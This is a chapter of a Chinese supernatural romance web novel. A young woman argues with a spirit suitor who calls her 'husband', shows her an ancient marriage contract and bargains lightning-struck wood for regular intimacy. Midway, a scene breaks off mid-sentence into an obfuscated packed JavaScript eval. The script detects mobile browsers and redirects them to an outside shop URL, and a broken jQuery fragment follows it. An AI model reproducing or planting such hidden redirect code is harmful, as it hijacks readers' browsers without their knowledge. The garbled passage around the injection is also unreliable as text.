19. 谈条件
    银杏树花了两天时间才安上。

    因为是私人宅院,并不免费。

    银行卡里又被划去四位数,岑让川心梗了。

    为什么养男人这么费钱……

    年轻的技术员在和其他人一块进行收尾工作,看她脸色不好,神神秘秘多问了句:“我听说,你是风水师,住在这多久了?”

    “一个月不到。”她也记不清了,忽然觉得他说的话有些不对劲,“你哪听说我是风水师?”

    “你别害怕,我不是坏人。我是植物学的,后来转到林业局跟着师傅们到处跑,我叫严森。”他不好意思地用袖子擦去脸上的汗,“我在镇子上长大,就住在离你不远的地方。你的事我是从周家,噢,就是卖饲料一家人那听说的。他们想找你,又不敢来这。我今天来看,好像也没那么可怕……”

    严森是个话唠,话匣子一开就收不住。

    他一边调试一边说:“他们周家嘴上没把门的。两天前他们说跟你们一块上山,一道雷劈下来,饲料周坟头都炸了。他们吓得要命,没顾上你们就跑下山了。还以为你们死了呢,又听秦哥说你们没事才放心。那天山上发生了什么?周家人不肯说,现在山也没人敢上去了……”

    严森话没说完,她们身后“啪”一声传来瓷器相撞声。

    所有人都往声音发出的方向看去。

    穿着浅色长衫的银清放下托盘,微微笑着说:“各位辛苦了,我泡了几杯茶,弄了些小点心,累了就歇会吧。”

    严森打量银清好一会,扭过头压低声音问:“你弟弟怎么长得和你不一样?”

    “表的。”岑让川脸不红心不跳。

    表的?

    严森又觑银清一眼:“我看他挺正常礼貌的,他哪有问题?”

    “小严,先休息会吧。”剩下的两名技术员已经围到石桌旁,他们目光隐晦打量银清,都在想,这小子看起来没问题啊?

    趁严森也去吃茶点,岑让川总算有时间思考他刚刚说的话。

    那天跑得太快,她都没来得及去看被雷劈的是什么树。

    现在没人上山,说不定能赚一笔?

    还有,鬼新娘还在那吗?

    想到她,岑让川心里莫名挂念。

    上次离开,总觉得她有什么话要对自己说。

    那满身黄符又是怎么回事?

    总觉得好像在哪见过一模一样的画法……

    岑让川还没想出个结果,身后传来一声。

    “老公。”

    霎时,世界安静。

    宅子内连风都停止了。

    技术员们动作僵住,露出目瞪口呆的表情。

    岑让川脖子跟锈住一样,机械式转过头。

    银清面无表情,捧着热茶说:“老公,吃点东西吧。”

    老公?

    他叫谁老公?!

    在场人的目光顿时从银清身上移到岑让川身上。

    岑让川:“……你在喊谁?”

    银清:“你。”

    严森他们终于相信,银清果然脑子有毛病。

    吃完茶点,林业局的技术员们把收尾工作做好,确认没问题后把注意事项发到她手机上。

    小镇年轻人少,有空闲会聚在一块。

    严森干脆加她微信,把她拉进云来镇大家庭群。

    “有空一起来聚会呀,差不多两三个月一次,还有相亲群,你要加吗?”

    岑让川顶着旁边巨大的压力,笑着拒绝:“不了。”

    严森挠头:“你有对象了?那也不要紧啊,说是相亲群,其实也只是一块吃烧烤爬山骑行之类的,算是一个聚会群。”

    “那——”她飞快看了眼银清,他已经收回目光收拾杯盘。她压低声音,“有帅哥吗?”

    严森一愣,笑出声:“比我帅的有几个,你线下聚会可以去看看合不合眼缘。对了,要把你表弟拉进来吗?”

    “不拉,他脑子有毛病。”岑让川刷刷两下已经加完镇子上的群。

    “那我和师傅们走啦,有空再见面。”严森收起手机,背上背包。

    岑让川说:“行,我送送你们。”

    师傅说:“不用啦,我们记得路。小姑娘,留步吧。”

    “你们真不一定记得。”

    他们要是走到沿廊那,看到鲛人她要怎么解释?

    噢~上帝,那是她另一个喜欢玩cosplay的表弟?

    把他们送走后,岑让川马不停蹄折返回主屋小楼。

    抄近路走的沿廊。

    鲛人虚弱地浮在水面:“我要,鱼……”

    话没说完,岑让川顺手丢了颗石头进池塘。

    鲛人:?

    这宅子里没一个人能喂他吃点东西?!

    他已经饿了两天了!

    安好避雷针的银杏树再次恢复生机,那夜过后雷劈过的痕迹几乎消失。

    技术人员前脚刚走,后脚场地就被收拾干净。

    银清坐在树下,操控茶具的手莹白匀称。冒着热气的水倒入茶壶,几番流转,倒进茶杯重新烫洗。

    岑让川看他泡茶的动作熟稔流畅,心头火起,伸手到他面前:“手机。”

    他不看她,却异常乖顺地把自己手机给她。

    岑让川二话不说先把他某宝卸了换上拼刀刀,最后打开他所有软件切换成青少年模式。

    弄好这一切,她才问:“你脑子是不是有问题?当着这么多人的面瞎喊什么?谁教你的喊老公?咱俩什么关系你就敢这么喊?”

    银清被骂也不吭声,把一旁石凳上的木盒放桌上。

    岑让川压根没注意,她坐下连喝三杯茶,气得想打他:“喂,你不会真喜欢上我了吧?说话,装什么哑巴。刚刚喊老公不喊得挺响?你到底哪根筋搭错?”

    “网上不都这么教吗?”银清给她倒茶,无辜地说,“他们睡在一起就喊老公老婆了。我喊你老公有什么不对?还是你更喜欢以前的称呼?妻主?妻君?妻尊?你喜欢哪个我喊哪个。”

    岑让川听出点不对劲:“你们那个时候为什么是这个称呼?”

    银清纠正她:“是我们那个时候。”见她疑惑,银清想了想,说,“从你之后,朝代更迭皆是女子称帝。我这个称呼有什么不对?”

    千年前……

    她牛到这种程度?!

    岑让川疑心他在忽悠自己:“不对,我们这历史上只有一个女皇帝。”

    “三千世界,有何稀奇?”银清抿一口茶,“按现在的说法,叫平行世界?”

    “……有没有史书?”她想看看自己前世到底牛到什么地步。

    “等会给你。对了。”银清清清嗓子,“已经第三次,虽然我还不怎么喜欢现在的你,但你也该担起责任娶我了吧?”

    “噗——”岑让川一口热茶喷出,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741294|145178||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    呛得直咳。

    她狼狈地转过身去,差点一口气没倒上来。

    银清淡定地看她又是拿纸巾擦又是拍胸口顺气,慢慢悠悠地捧起热茶吹凉。

    “你在说什么,咳,你知道吗?”岑让川不敢再喝茶,怕他又说出什么惊人的话。

    “知道。怎么,时代变了可以不用负责了?”

    岑让川:“……”

    我把你当炮/友,你居然想当我老婆?

    那两声老公故意给她下套呢?

    银清哪能不知道她的想法,把准备许久的木盒打开。

    朴实无华的盒子里,装满黑漆漆看起来像是木片一类的玩意。

    异香袭来,是一大摞已经炮制好的雷击枣木,底下垫了一层厚厚的金砖。

    “这是我生前积蓄,还有些你答应后我再给你。”银清又从长袍拿出一个筒状的东西递给她。

    上面镶满宝石,金属却已经氧化发暗,因为时长清理,看着只是旧了些。

    岑让川接过,很快找到了一处机关。

    倒出里面的东西,是褪色的红色卷轴,上面的文字压根看不懂。

    她好奇地问:“这是什么?”

    银清平静地说:“婚书。”

    “……”岑让川摊开后二话不说拿手机字体翻译器扫一遍。

    又是像当初来时那样,蹦出一行字。

    [字体无法识别]

    银清慢慢摇动茶杯:“当年是我与你第一个订婚,从我十七等到二十四。你不愿意,差人来退婚。退了婚事后没多久,你就被你父亲赶出城。好不容易等到你回来,发动城变、弑父杀弟,掌握实权,到论功行赏,我成为你身边的谋士,蹉跎年华,一切都变了。但我从未说过,我同意退婚。”

    他陷入遥远的回忆:“我出身不好,家中只有我一人站的是你的阵营。你父亲想要夺你兵权,就只能找个乖顺听话又好掌控的。选来选去,选中了我。从十六我遇到你开始,我便按着你的喜好生长。你不喜欢的,我要剪枝裁叶,你喜欢的,我要悉心学习。结果啊,等来的只是你退婚。”

    银清没有说出来的,是他精心策划好成为她夫郎的每一步。

    每一步,都耗尽他的心血。

    可到头来,皆是白费。

    岑让川听他说完,沉默了。

    怎么着,继承凶宅,拿个五百万,还带赠品的?

    她前世留下的资产有点太过丰厚了吧?

    两人各怀心思。

    长久的沉默。

    半晌。

    银清喝下那杯变凉的茶:“我知道这个时代不一样了,你不想这么快和我成婚也正常。”

    岑让川警惕起来。

    银清远不像他表面那样单纯,一旦肯退让,必定是有更大的谋求。

    果然。

    “不成婚可以,两日一次,没问题吧?”银清朝她看来,琥珀色眼睛里透出几分胸有成竹,“你要是答应,我这些雷击木,你放网上卖,两千起步。”

    “这些是我们上山那会被雷劈的木头?”岑让川听到能卖钱,眼睛都亮了。

    但……

    “两天一次,干什么?”

    银清笑了笑,无声吐出两个字。

    岑让川:“……七天一次行不行?”

    她是人类啊!

    按这个频率,她年纪轻轻就要预定医院骨科VIP床位了!